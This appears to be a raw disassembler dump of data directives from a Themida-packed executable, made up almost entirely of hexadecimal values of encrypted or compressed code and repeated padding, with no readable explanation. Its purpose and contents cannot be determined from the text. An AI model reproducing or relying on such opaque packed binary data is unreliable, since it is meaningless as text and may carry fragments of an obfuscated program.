4D79E906h, 0CE9EFFFAh, 0CC89DA82h, 0D187D880h, 0D48ACB85h dd 0D88FD088h, 0DB5A48Ch, 0D983CF88h, 0CB85D188h, 0A38DD98Ah dd 9C94E0F2h, 66D8F438h, 0C65614E2h, 133F232Fh, 0D3000000h dd 221D6981h, 27115D75h, 0C6B3178Bh, 4D994A4Fh, 0E95B99E3h dd 29004C09h, 0DFFE1F3Bh, 0F21FDDE5h, 1D631F1Dh, 748DE28Dh dd 1F39D29Ah, 0CF3498Fh, 1F017913h, 7A66560Fh, 0F13A8661h dd 0E4D4E616h, 7B920492h, 0E45AB99Fh, 5B3963DFh, 21AA4h dd 697F5800h, 0F5229458h, 0EF12560Eh, 4F42FC16h, 0F81030C2h dd 29756B4Ch, 511D4B1Eh, 4FC6B35Dh, 7EE630CFh, 8E95A572h dd 31281149h, 37377E5h, 31560EDAh, 43DE44CEh, 3CDDA6C2h dd 1E1E9230h, 66815A06h, 33057955h, 827122Dh, 814D1521h dd 0BF52E6Ah, 8FE25DC4h, 0CA16CDADh, 0FCD40563h, 889277B0h dd 0CEB810DCh, 89A80DBBh, 9CE8FADBh, 0D9EFE3B4h, 0BA58B1FDh dd 0EDB2C19h, 0B5AE8FD8h, 95000004h, 98C973BFh, 96C771BDh dd 9DBE76C2h, 9ABB75C1h, 60BF79C5h, 8EDAF57Ah, 90DCF5A6h dd 98E4F7A8h, 9FEBFFA0h, 0F1FD21B5h, 5614E37Dh, 810A14AFh dd 1B3F1D69h, 0C6B35F4Fh, 0E832CD4Fh, 5519455Fh, 4FC6B361h dd 4FE22CD3h, 6569D7EDh, 498EBCDAh, 0D7233B2Ch, 0C0F16569h dd 0DC43560Eh, 0AF180B45h, 79E7FD3Fh, 0D6A3AA75h, 0A435DC4Fh dd 5B354DA8h, 1A3212D7h, 3E89222Eh, 0BC63E22Ch, 768EAE83h dd 0BEAA06CAh, 779AE862h, 0E4FAF0C9h, 0CE869FEBh, 0A989D58Dh dd 54203BD2h, 15A392DDh, 0F5000004h, 0F8A993DFh, 0F6A791DDh dd 0FD9E96E2h, 0FA9B95E1h, 0C09F99E5h, 6EBA951Ah, 70BC95C6h dd 78C497C8h, 7FCB9FC0h, 0D19DC1D5h, 5614E4DDh, 862A744Fh dd 0F2D7955h, 0C6B34B3Bh, 0EC46E94Fh, 202B776Bh, 50411B84h dd 4837483Fh, 0E3F94BEEh, 0B20A6985h, 0DD44498Eh, 243CFC73h dd 1C332438h, 21085406h, 0D8695D15h, 9ACB4FD0h, 0B7A57CC8h dd 0D880CC9Eh, 0D987D387h, 919DE900h, 0BDD365ACh, 0B3ACCB9Fh dd 0F3E44994h, 0A38591DDh, 0CC9AE7Ch, 0A7D0CAF0h, 37FB6h dd 418D5F00h, 438F4617h, 44904819h, 47934B0Ch, 47934C0Dh dd 43C80E0Dh, 4718408Ch, 4D0E4692h, 51124A96h, 0EFE34D99h dd 0E5AF9FABh, 667D5614h, 1D69815Ch, 0D5ED4F22h, 481B6F1Dh dd 83E1485Fh, 1C687E57h, 78F43E23h, 498F9B73h, 65248AF3h dd 649C6422h, 8BB958CAh, 0CE68B4AAh, 19D978Ah, 4F2B0000h dd 0FB1325A5h, 172AAB2Ch, 292417CBh, 26FF62DDh, 1DE9363Ah dd 0F41B498Fh, 0E7FED7E5h, 3FF37F9Bh, 7CC142F5h, 0B4B8A4BCh dd 3D02EC53h, 0F8441A3Bh, 0EA40DA2Fh, 0F019657Dh, 4A62E237h dd 0D9253D1Eh, 0C82CF94Eh, 0FA94FA2Ah, 7F5B0713h, 0C50BC71Eh dd 4FEBAAEBh, 0C9DA4D23h, 2814FB3Eh, 250F5B0Fh, 4125E74h dd 3FC91F35h, 0AD56C770h, 8D000002h, 90D18BD7h, 8ECF89D5h dd 0F5A68EDAh, 0F2A38DD9h, 0B8A791DDh, 86D28D12h, 88D48DCEh dd 90DC8FD0h, 97E3F7A8h, 0D9F5399Dh, 5614E565h, 81222CC7h dd 7A221D69h, 0DE388461h, 4E09E95Bh, 0C654C800h, 0B1587758h dd 0CE7A9376h, 0C10DC9F2h, 9872FD75h, 5DC4498Fh, 73FB70F3h dd 0A9F5F1D1h, 0BA539FB6h, 0CF89B28Eh, 0D561C883h, 0D76B529Dh dd 0EE02DE4Fh, 4FC7A578h, 67B955BCh, 0A29DE9FEh, 0E6FA66BFh dd 0C7A5940Ah, 9D79984Fh, 4C734662h, 70D0C128h, 0E7D0EC58h dd 9A0CE0F1h, 9ADEA7CDh, 0AC958E77h, 0AE250A62h, 827D86Fh dd 304AFA3Fh, 0CFE620E8h, 0A36CFD7h, 36AD6A46h, 0D2EB14D2h dd 5FEFD0D5h, 22FD23EFh, 0ED391546h, 4A203921h, 52CD1934h dd 97D51EFh, 2BDEA9A6h, 62331D04h, 15062470h, 64425CC7h dd 1C25ABBh, 0B2A20000h, 0B0ADEE66h, 0B5ABEC64h, 0B8AEEF69h dd 0BC93C46Ch, 7159C870h, 0ADA7F3ECh, 0AFA9F5ECh, 87B1FDEEh dd 80B804D6h, 8AFCD01Ch, 0AA5614E6h, 6981074Bh, 0ED4F221Dh dd 66569D7h, 38498E96h, 86255FD9h, 0F46A865Ah, 384FC6B2h dd 0B30B7BD9h, 6294FC6h, 1D33052Ch, 9DC52B3Fh, 8C734988h dd 0BF738CB0h, 487BD72h, 4429C87h, 94C19440h, 0B905DD7Ah dd 0C00CDE7Fh, 4E8C7BA4h, 69C20EC2h, 86905590h, 0B0C878C1h dd 9B7EB894h, 53AE4FD7h, 0F80EC4F5h, 0C27A93DFh, 0C27DC9A1h dd 89B7CD6Fh, 45594778h, 0F4B79EB9h, 36E2F2AAh, 73EF4BE2h dd 65373647h, 1E29756Dh, 0D764E04Bh, 91DDF364h, 1B2AED85h dd 0B5A6498Fh, 70D9529Eh, 14D884A6h, 560F09A2h, 78966F92h dd 0CAF6628Dh, 0E1DE3FE8h, 0C1000000h, 0A4F55FABh, 0A2F35DA9h dd 0A9FA62AEh, 0A6F761ADh, 6CEB65B1h, 0BA06E166h, 0BC08E182h dd 0C410C394h, 0CB17CB8Ch, 0DE10D91h, 5614E799h, 86F6389Bh dd 74667C55h, 0E1460128h, 0B995CC97h, 0C650B9BAh, 8DBBD173h dd 4BA99DB1h, 0ABC04FC7h, 0FC68C75Fh, 0C74B7EF0h, 0C753AE4Fh dd 3671CF9Bh, 40DF4989h, 36825807h, 2137310Ah, 0D831FA46h dd 3571E531h, 45FE4A04h, 614943DCh, 3F1D3F47h, 247062F3h dd 5D63911Bh, 135F4B90h, 40192F22h, 2FD62BF4h, 26966DE3h dd 55CE1A35h, 1D3522ECh, 243667D1h, 0CC354FD8h, 5841A443h dd 0A1BE5827h, 0CD83B4C5h, 1563C681h, 5C90DEA1h, 0B3A3A793h dd 815C90DEh, 0A59E879Eh, 0C1368DE3h, 0A7F35DA9h, 38D53A56h dd 0FA148014h, 0EE39855Dh, 30Fh, 1763C300h, 241F6B81h dd 18135F73h, 1F287467h, 221D6980h, 150E5A75h, 26216D62h dd 16115D79h, 28236F69h, 19125E77h, 0E0895074h, 405h, 4E88300h dd 31240433h, 4332404h, 89535C24h, 4C381E3h, 81000000h dd 4EBh, 241C8700h, 2414895Ch, 6CB768h, 24048900h, 37436857h dd 0D15F2BA4h, 81D7F7E7h, 0F9BE9AF7h, 0F98951AEh, 5F59CA89h dd 204068h, 24248900h, 4240483h, 8B95158h, 1000000h, 8B1189C1h dd 0C483240Ch, 24048B04h, 81E18951h, 4C1h, 4C18300h, 5C240C87h dd 5A2434FFh, 0E904C483h, 0FFFA470Fh, 4788D771h, 1D9ED841h dd 1C40C24Bh, 4E35C6B8h, 0FFC50306h, 2EB296E0h, 7CF4CF13h dd 3EEA85Bh, 2CAB9A5Bh, 0AB78BF23h, 0D4140209h, 0A888775Eh dd 0CB380645h, 4CAE250Ch, 54CE4638h, 0C9490238h, 0A207F86Fh dd 0E6D5F408h, 2D45D056h, 0A78F265Fh, 0CE1FF468h, 2AE37663h dd 281AC111h, 14E818h, 29F40000h, 29982A66h, 0C7E22422h dd 0D80CB209h, 7BD13083h, 0BF0FDC14h, 0E18A5FCEh, 6E53C781h dd 80570000h, 685AF3EDh, 0 dd 0B85B2BB6h, 5A7B502Dh, 663B34FFh, 0E85EC38Bh, 5, 29D9CD18h dd 0DE8D1h, 94450000h, 0B3095600h, 14D8A7C6h, 50523D5Bh dd 81595A59h, 3AEA50F6h, 4EE8106h, 0E9660D2Dh, 10h, 77AD4AE1h dd 8342427Bh, 63DFAD62h, 0C193FE1Dh, 0D015C681h, 0B8664FE7h dd 0E856AB46h, 5, 29D9CD18h, 0D38B66D1h, 1F048F58h, 68F0Fh dd 0C9810000h, 6E84C48Ch, 13E856h, 97E60000h, 8F330EBEh dd 0FAEC5DD6h, 28C1A416h, 0D00D6B7Ah, 8A0F39h, 58000000h dd 1EB835Ah, 4B4BDCB5h, 0AE94Bh, 0FE570000h, 0A5C74E25h dd 36394E7Fh, 92ECFB81h, 850FFFFFh, 33h, 11E8h, 3ED37500h dd 0CEB52643h, 20774C86h, 43D8CC0Fh, 0AE9C0D8h, 0FB000000h dd 0ECD2FD4Eh, 0C3290B61h, 32E958A8h, 0BE000000h, 0E82EC002h dd 0F6329EBh, 108Eh, 0BE900h, 340B0000h, 41158113h, 929CC49Eh dd 0FEFEE94Eh, 23CDFFFFh, 58FEC032h, 0A4DF1882h, 5085ED38h dd 8EBBEh, 65000000h, 0E97502FFh, 4C2h, 4E390C68h, 4551E906h dd 9D68FFFAh, 0E9064E39h, 0FFFA4547h, 4E3AFF68h, 453DE906h dd 7262FFFAh, 706D2E26h, 756B2C24h, 786E2F29h, 7C53042Ch dd 0B1190830h, 6DE7332Ch, 6FE9352Ch, 47F13D2Eh, 40F84416h dd 4A3C105Ch, 0EA5614EBh, 6681C70Bh, 4773111Ah, 0C6B31383h dd 34FE214Fh, 79E32F23h, 8540C2Dh, 0E950EA3Fh, 47234157h dd 498EB678h, 0B4D05BB6h, 0D9B5DB4Bh, 1A031Ah, 0F02FE74h dd 216D6356h, 115D7926h, 20E33B16h, 956CB8ABh, 0D54B8AA8h dd 5B3965CAh, 313B9h, 0BF4F4D00h, 332D0D2Fh, 13FA461Dh dd 0B5824EFAh, 7498E95h, 25E33C28h, 0C1A92396h, 66728DA9h dd 8125E75h, 0EC65AF6Ch, 344CECB8h, 4C033408h, 42184700h dd 67030FF6h, 44BC95D4h, 0E52CF71Ah, 4B1F3D53h, 46F4660Fh dd 5586E23Dh, 5B07317Dh, 95FB6B7Fh, 0C5364AF4h, 0E6A4C35Ch dd 97A37EA4h, 6AC814C6h, 379350C3h, 1CB0A5CEh, 75000003h dd 7829135Fh, 7627115Dh, 7D1E1662h, 7A1B1561h, 401F1965h dd 0EE3A159Ah, 0F03C1546h, 0F8441748h, 0FF4B1F40h, 511D4155h dd 5614EC5Dh, 86AAF4CFh, 0F7307C55h, 0F310812h, 3F7F4BF9h dd 6D498885h, 709B7290h, 0E63F893Fh, 7586617Ah, 157CE559h dd 77E84756h, 44EC1561h, 70EE3C13h, 0A23B6E14h, 652083Bh dd 23DE43Dh, 87FE2F6Ah, 92C397B6h, 51B873BFh, 78019303h dd 0B3FFD649h, 96799178h, 0BB07DB7Ch, 0F72E65Bh, 0B7A6D135h dd 28Bh, 0ACA4F0E4h, 0AEA6F2EBh, 0ADA7F3EDh, 0AEA6F2ECh dd 0AEA6F2EDh, 0ADA227AFh, 0B3A6F761h, 0B7ACED67h, 0BAB0F16Bh dd 8ED2C66Eh, 14ECCCC2h, 39856056h, 2D795586h, 11EE4EE1h dd 0C6B3493Dh, 687AEB4Fh, 0E73E231Ch, 18135F74h, 136CD831h dd 7364D566h, 0BC98732Dh, 3326BA82h, 7C500C26h, 4988A53Ah dd 0B4CA83B4h, 5FBB529Eh, 0EAB164C9h, 4F9B4FAFh, 6BDF6DB6h dd 0F656156Ah, 0EC8B94E0h, 10A0ABF7h, 95B05BBAh, 0C7B793A7h dd 9A56156Ah, 708F77C3h, 0DB51B4A6h, 5B3FC8C8h, 177BBh dd 69815300h, 5D75221Dh, 5A7B2711h, 2A767187h, 55E14803h dd 1E4A62E2h, 8E928152h, 0E854BB49h, 55CE1ACFh, 8F1D22ECh dd 560ED31Bh, 0FF489446h, 0EE398560h, 74E92C42h, 3019125Eh dd 67506CD9h, 47092571h, 3189168Ch, 29FA5B39h, 94000000h dd 75D3E95Bh, 8E9E8259h, 1745EC49h, 0F4E0F606h, 0F541C541h dd 414E4450h, 3919560Fh, 0A35F64DAh, 0AA245B39h, 0BA000000h dd 221D6981h, 150E5A75h, 1B247062h, 1D915D81h, 0F4FC6B3h dd 213926F0h, 0B94F5BD5h, 0E14FC6B6h, 2C862EC0h, 0A24D724h dd 0F49954Dh, 24361828h, 371331D8h, 498C9BDCh, 0A891AF52h dd 0A8F963AFh, 94D363AFh, 4FCAF4EDh, 1293124h, 0D2820000h dd 0D08DCE86h, 0D58BCC84h, 0D88ECF89h, 0DCF3A48Ch, 11B9A890h dd 0CD87D38Ch, 0CF89D58Ch, 0A791DD8Eh, 0A098E4F6h, 6ADCF03Ch dd 0CA5614EDh, 1D86272Bh, 83506752h, 0A6B783C9h, 0AFEB65B1h dd 3CCFBF8Bh, 0BF924FC7h, 0B951B873h, 0C79BBC56h, 0D69BD879h dd 0D1877951h, 0CB859C85h, 1D698171h, 115D7522h, 0D8F05027h dd 0E2F506Ch, 636E0C71h, 76C8A46Eh, 0B6498FE9h, 13CCED5Bh dd 69E18DC7h, 0FD560F57h, 5DB905DCh, 0B69EEA00h, 15D9EAE5h dd 560F57A1h, 0A7956C93h, 57C7B793h, 65560Fh, 0B9909BE7h dd 9C81C650h, 7Fh, 25716750h, 51EB471Ah, 420EE95Bh, 4FC6B34Ch dd 7CE841E0h, 6F283F60h, 26C22626h, 1622600Ch, 0B75A4989h dd 0CB17CB6Ch, 41AD091h, 1F28014Dh, 0D916CE95h, 0CE1A3542h dd 0E5312255h, 0D7233D5Ah, 7924DF35h, 12824197h, 5DE63229h dd 44DD293Ah, 29756DEAh, 307C6E2Fh, 428E48F7h, 1F3B4709h dd 58D31F36h, 16F363F1h, 0DE41C4C9h, 52C7FE54h, 5BFC3480h dd 0DF03B87h, 3, 811763C1h, 73241F6Bh, 6718135Fh, 801F2874h dd 75221D69h, 62150E5Ah, 7926216Dh, 6916115Dh, 7728236Fh dd 7419125Eh, 81E18951h, 4C1h, 4BD5500h, 29000000h, 0C875DE9h dd 0B685C24h, 89000036h, 43682434h, 8900003Dh, 5553241Ch dd 4E381FBDh, 5DEB8906h, 685BDE89h, 35B1h, 83242489h, 5B042404h dd 89F58955h, 2C8B086Bh, 4C48124h, 8B000000h, 8950241Ch dd 405E0h, 4050000h, 87000000h, 0FF5C2404h, 835E2434h dd 0A0E904C4h, 76FFFA40h, 0A19832CBh, 4DB80920h, 3064E3Ch dd 8E0FFC5h, 0F4354896h, 204AF8A5h, 620F70B5h, 5C0685FBh dd 89283443h, 5B6DE444h, 90571E6Fh, 1C3214FAh, 8F1DD4F5h dd 0B91BB182h, 0F615073Fh, 82194E32h, 967D08D9h, 2493DE9h dd 28702139h, 2515C3D7h, 48273A94h, 0E87E68C0h, 10h, 7E79EFD9h dd 9B418801h, 4C8BFFB1h, 3F942A4Ah, 0DE9h, 0A0F77500h dd 760E8BD1h, 0A056996Bh, 6659C6C6h, 2C0BEB81h, 624BC181h dd 11E90000h, 0D3000000h, 41F79C57h, 0FAB024E8h, 0E4F05D12h dd 0C59713C2h, 0DFD2D1B8h, 7CE88170h, 0E970DFBAh, 6, 20FB675h dd 318B94A7h, 7C89F681h, 81F90301h, 7B1723F6h, 0EE938h dd 0AF390000h, 1DAB0340h, 59FB0EF6h, 0FD812B6Dh, 0CC0EEE81h dd 800F20B8h, 5, 0AF784CBBh, 81665662h, 8FA6E8D3h, 7E85101h dd 0CF000000h, 0E70E2A04h, 0F48ADEB9h, 0E9835B5Bh, 49D18B01h dd 810F4949h, 5, 0E9BBCFBFh, 850F482Bh, 21h, 0DE9h, 0F5931200h dd 0D58A2871h, 0A2B8076h, 24E9ACA7h, 0C3000000h, 5286274h dd 35BB897Ch, 58F0FFFh, 66000000h, 1CE2D781h, 0FFFF69E9h dd 0BFA4B4FFh, 0DA2375ACh, 8D5E42BFh, 4E3E958Dh, 3DBD8B06h dd 89064809h, 480A198Dh, 298D8906h, 0C7064823h, 480F3585h dd 6AEC06h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 85C7DAADh, 6482425h, 0 dd 29E1B5FFh, 0B58B0648h, 648184Dh, 20BD95FFh, 6A0648h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0D942F0C3h, 0FF006A30h, 48306195h dword_5A0C04 dd 0EBC08B06h, 5DC38C4Ah, 0A6A32B77h, 4A36F75Bh, 0DF5F57FCh ; DATA XREF: Themida_:0053F098o dd 4A0D1525h, 2499F961h, 5B73FD3h, 99EECE1h, 9409110Bh dd 326BF194h, 0E7D04F8h, 86267230h, 0C08C1054h, 2C8571C8h dd 0A19A0288h, 0A97D4192h, 0CE424F6Eh, 2AFA9815h, 53056A24h dd 5DB13EE8h, 0ACF23256h, 55F201EEh, 0ABB13256h, 0D5B13256h dd 0EAE8622Dh, 75EBA596h, 0BAB13256h, 5DB13256h, 0AEB13256h dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h dd 0BAB13256h, 5DB13256h, 0AEB13254h, 57B63581h, 0ABAB3252h dd 0D5B03244h, 0E81F327Bh, 77F63256h, 0B8F63256h, 0D6D7F27Dh dd 47E15388h, 57B13246h, 2C77935Eh, 0F6E3EFE2h, 952FEB76h dd 0EE1BA71Ah, 8BBE53C0h, 5DB134BFh, 0EAE6E456h, 0D42507Bh dd 42D1620Eh, 0D5B1325Ch, 8B7959ECh, 0E8C575D0h, 0A959D144h dd 62B13256h, 0F5DB675Ah, 6087E3AEh, 78733FF2h, 0FABF3B46h dd 32DF76Ah, 75B1325Bh, 6E96D417h, 1D72402Bh, 0C2AE8C2Fh dd 0F74B263h, 0ABB134BFh, 0D1A6A456h, 770210BBh, 7622530Fh dd 4D4FC2D7h, 49582670h, 2B13256h, 0CFCA3823h, 0EFE6E4A7h dd 6542507Bh, 36FE9C7Fh, 0E8DA88B3h, 162575E8h, 6CBE5339h dd 0AEB13ABFh, 928D256h, 0C1E43E69h, 45E9680Dh, 9DC7236Eh dd 66B37FB2h, 0EDE8CCBh, 0D4D06771h, 0CEB51612h, 57B134BEh dd 0BFD61456h, 0B5B280EBh, 0B2D06A37h, 9CB13256h, 1F2D3D38h dd 7E95337h, 0AEB1A20Eh, 57B13256h, 0ABB13256h, 0D5B13256h dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B1DA36h dd 3BEB3256h, 13F091BCh, 0A234BF50h, 0DEB77FD5h, 0E58FCBD4h dd 8433BF50h, 63B77C9Ch, 3B8FCFD4h, 0B3FFDA50h, 26593256h dd 69B13256h, 198FDBD4h, 0ABB13250h, 50776056h, 0ECF9153Bh dd 0CDE35A00h, 0F4EAEFEh, 5BF913C3h, 2DAFB7DBh, 874E341Dh dd 0A6F0B7DFh, 0D1DB341Eh, 0EAA1323Eh, 78F15A56h, 0BADB3255h dd 56EBE2A9h, 27824696h, 198FDBD4h, 4633BB50h, 6CB77C68h dd 0EAB23F16h, 0B582CADDh, 0D0E398A5h, 4DB15A52h, 0AED93256h dd 3DB13252h, 0EA23CD56h, 8FB77A5Bh, 0D58CB0DFh, 0FED03418h dd 0F48FDBD3h, 9AD1F150h, 0E69C9BD4h, 17B13250h, 0CA33F556h dd 0D5B77A72h, 8BB13246h, 0CF3A5295h, 0BCFF0CBFh, 29B10DD5h dd 0BECEB175h, 0D4BA4654h, 0DFB52229h, 0C176B158h, 0AD76D8BDh dd 75B13346h, 7D43D956h, 5DB22211h, 475A3256h, 0DCE4F137h dd 0AB5952BAh, 8FB13256h, 0A829D8D7h, 0C73A3418h, 0BCFF0D17h dd 0D4B977DDh, 0EF33B150h, 53B77C69h, 0AF73FB37h, 0D5595256h dd 0B0B13256h, 370DD8D7h, 83A3418h, 5BFF0D6Bh, 91F0806Dh dd 6CC53418h, 743A0CDDh, 0D4FE8459h, 6AB075A0h, 0ACB23623h dd 639A30BDh, 0D83A7115h, 0A8F91737h, 5240BFDDh, 738A341Eh dd 0C8A3B24h, 2C323721h, 4E78D952h, 33B94699h, 15B4C3EBh dd 0CF06D950h, 57595295h, 0F1B13256h, 96A5D8D7h, 503A3418h dd 73FF0D6Bh, 0BAB032EFh, 0AE710156h, 9333B9FDh, 0DEB77C69h dd 0E58E73D4h, 0B5725350h, 0EAB132BEh, 9F306856h, 0BCFF7168h dd 7ADCB790h, 0C6E7341Eh, 83AE5F6Fh, 8A2487A9h, 503C341Eh dd 0ECFAB148h, 25E3E2A9h, 0BA31323Eh, 0A2B15856h, 0E08FDBE4h dd 0F61CD50h, 2BB15A0Ch, 0D5DB3256h, 0D58C80A9h, 0A54E3418h dd 31E4F137h, 5D5952BAh, 0F4B13256h, 143DD8D7h, 0DE3A3418h dd 0D729DA5Eh, 15E43256h, 3B8FCBC4h, 0CF8A6F50h, 0B55F475Ah dd 0AEB130D0h, 5F73FB37h, 473A6756h, 834DF6D5h, 0EA596101h dd 2FB13256h, 0F971D8D7h, 283A3418h, 0BECCB95Eh, 60596401h dd 0A0B13256h, 5E904696h, 784E67AEh, 73FF0CAFh, 0B6C4090Bh dd 0D6D72022h, 5E56B248h, 0B4312CDCh, 0AD2CDAA6h, 15A3256h dd 24D4FDFh, 8A4ECC0Bh, 31EF6D0Dh, 9F78CE13h, 25E4325Ah dd 0AF75B1BAh, 0F8E06401h, 0D5497791h, 2DB13256h, 3B8E1BD4h dd 0BAB13350h, 55C4B956h, 25AFB930h, 198FDBECh, 0A3EEB950h dd 0DAC5E95Dh, 0ECC4EC6Dh, 0FCBD6FDDh, 7D323E09h, 3B5BD942h dd 55312CDDh, 99353DBEh, 2BB13256h, 51BEDBADh, 0EAB13293h dd 7A5AC9D6h, 0BAB18ED2h, 0BF4AB256h, 0AE1DB659h, 0AC313256h dd 31353DB5h, 0B3B13256h, 9D6C9D7h, 7529B659h, 5D313256h dd 0A63054A6h, 2ABEB259h, 57B132C7h, 2B41D1D6h, 51BE42ADh dd 0EAB132D3h, 0F5AFB930h, 4131CAB5h, 0DDF346EEh, 93C53768h dd 239C0CD6h, 0C38FB26Eh, 574E0122h, 0ECFF0D7Fh, 0F5AFB930h dd 3BD7CAB1h, 2959B3ADh, 0B03A5476h, 3141D5D6h, 6B30C9D7h dd 80D12122h, 0D448A0A9h, 0FCEC3418h, 39D0CE13h, 28B0CE2Bh dd 70BB935h, 7B77A7Bh, 9498B0DDh, 0E9883418h, 0BAC36A66h dd 51D088DDh, 31E1341Eh, 138E1BD4h, 9E8D0B50h, 0BC8C4D0Eh dd 53F4F546h, 0D5B13254h, 0AF7635BDh, 75B133AEh, 530BB956h dd 0D6B77C68h, 0DA6A3949h, 226F0949h, 0A7ECB959h, 0D5494FD5h dd 0B7B23122h, 71EEBBAEh, 51A5F5D5h, 0B47101B4h, 0AEB13296h dd 0DCAFB930h, 50313E2Bh, 55BB46BDh, 1131C2B5h, 9EA74626h dd 53B6F464h, 5DB07591h, 25B13256h, 5271B191h, 0ABB1A5BFh dd 0D2765456h, 0F43B3A59h, 0F5BED1D6h, 0E539B29Dh, 5FF6F557h dd 0AEB13256h, 9732F5DDh, 0CDC8D950h, 45210CD7h, 0D4313D22h dd 13BF47C6h, 2A4E4CD7h, 0B6B346C6h, 4576B952h, 1233BF09h dd 0FBB77C69h, 2823CD00h, 0E1B77C68h, 0FEBB4696h, 0FF03BF9Eh dd 0B6B77C69h, 603A6446h, 0AE23CD03h, 0F6B77C68h, 0C46FC7Dh dd 12CCB108h, 0C5A14757h, 2D7981Fh, 0F6D7B759h, 0AFF78459h dd 0D4AAD9FDh, 0DEB3CA2Bh, 0DE095445h, 8C1A549Fh, 13353DEEh dd 0FC073DFDh, 5F5A9957h, 693A96A5h, 8EF6B0Dh, 0ABB9F09Fh dd 0B55DB903h, 0EAB132BEh, 9F306856h, 0BCFF7448h, 0D4B977DDh dd 0E08FC3D4h, 95785350h, 20E43252h, 2D75B1BAh, 0EAB1DA36h dd 0F4EB3256h, 0F4F70DBCh, 0A5F4F550h, 0AEB13256h, 574D7791h dd 98B13256h, 0CB3A5496h, 0D598B091h, 75B03418h, 3BD73256h dd 2821A2ADh, 464AB256h, 56B9B659h, 2BF13256h, 51BEDBADh dd 0EAB132A8h, 9E4AB216h, 0BA45B659h, 0DDF13256h, 2FD7C2B1h dd 58313DADh, 0ABB1D7D2h dd 0A8333156h, 0AAB77A76h, 7A53C9D6h, 0BAB1FCD2h, 0BE4AB256h dd 0AE0DB659h, 0D6D73256h, 0A45255ADh, 0D5B188D2h, 1A52B256h dd 7AC1C9D6h, 0BAB187D2h, 433A5456h, 2E49D1D6h, 10C58AADh dd 0DFB40CD6h, 0F88FB214h, 0D4310F22h, 3589463Eh, 8598B0A9h dd 0D6D73418h, 5656B248h, 0D64AB330h, 0CD9546BEh, 32312CDDh dd 113054A6h, 62C5F2D7h, 284E6736h, 5BFF0CAFh, 52F4BB0Bh dd 0ABCCB137h, 83343D57h, 5EB13257h, 0A29C9BECh, 0F73A6250h dd 0BCFF0D7Fh, 5810E6Fh, 0AFA0B059h, 0ED3A3256h, 0ADF91637h dd 0FC33B906h, 0D3B77C69h, 7AE9026Ah, 0BAB1C8D9h, 0B00BB956h dd 2DB77C68h, 198FDFD4h, 9C382650h, 85A175DFh, 0D598B0DDh dd 693A3418h, 0E5386A66h, 5D64DB5Eh, 0EB763256h, 57B130AEh dd 6CB6D956h, 0D5B0CA13h, 503A3256h, 73FF0CBBh, 845CB0D5h dd 0D4A53418h, 0BEF6BB61h, 22B2CAD5h, 8233F55Ah, 0D7B77C69h dd 1B13256h, 7749B153h, 0C7326D2Bh, 46C532AEh, 0AFF78459h dd 57B1B2FFh, 0EBB74756h, 3EB4DAD5h, 0EA4E1F5Eh, 9D323256h dd 0E9BAD953h, 6298A8DDh, 0AA3A3418h, 57186965h, 0DE313256h dd 56773142h, 68B23796h, 73FF0D7Fh, 0B2F6BB1Eh, 0B6BD75DFh dd 8569C500h, 0D469C590h, 29B23796h, 0D3FF0D7Fh, 0E2F6BB1Eh dd 9EBD75DFh, 30710168h, 0DD193310h, 68B21323h, 0ECB3F2D5h dd 0ABB13257h, 0DCC5E95Dh, 7161A8DCh, 9631341Bh, 33723157h dd 1A383A11h, 59A5D95Ah, 574E178Eh, 6D9A3256h, 1532EAA1h dd 0E2F6BB54h, 8DBD75DFh, 0EF72FB37h, 9932DEDDh, 0AE5952AAh dd 0DB13256h, 0E3E1D8D7h, 6F3A3418h, 0ECFF0CBFh, 4A32FB65h dd 78353D56h, 0D6B13256h, 0A2C4CD51h, 7B947A9h, 0ABB041BEh dd 56B44156h, 85A2691h, 8A4D77DFh, 0CF4E3E23h, 0B586CD5Eh dd 0AEB1330Ah, 5726B059h, 0EE3A3256h, 0DAB60BAAh, 0EAB1BED4h dd 89F4CD56h, 0BAB54DD5h, 22323A22h, 0ACC5325Ah, 0A8093CBDh dd 124ECDA9h, 0D5B13253h, 295A99A5h, 70A14DD5h, 0C5323D22h dd 4CC43446h, 0AAF6B917h, 0BCBD6DDDh, 0AFF6B915h, 3EBD6DDDh dd 0EEF6B96Fh, 4EBD6DDDh, 0AFC43A09h, 59E6B904h, 0ADA1677Dh dd 83A2603h, 286B195Ah, 3EEB37BDh, 0EEF6B944h, 5EBD6DDDh dd 51323609h, 983B3153h, 2DB77A53h, 22B22229h, 729A7357h dd 0D4B06EDFh, 154ECDEEh, 75B48BA9h, 11423256h, 0A24E64BFh dd 6C7853A9h, 0DCE43246h, 5775B1BAh, 0D5B1DA36h, 6BEB3256h dd 3BF809BCh, 530BB950h, 6EB77C68h, 0AE8EB19Fh, 5720B659h dd 0AC3A3256h, 2ABD47A9h, 2E13A23h, 75B132DEh, 7D323725h dd 0D453D942h, 0DB4ECE13h, 5FC4CD5Ah, 0DA5905A9h, 0A7B13256h dd 16F4B93Ch, 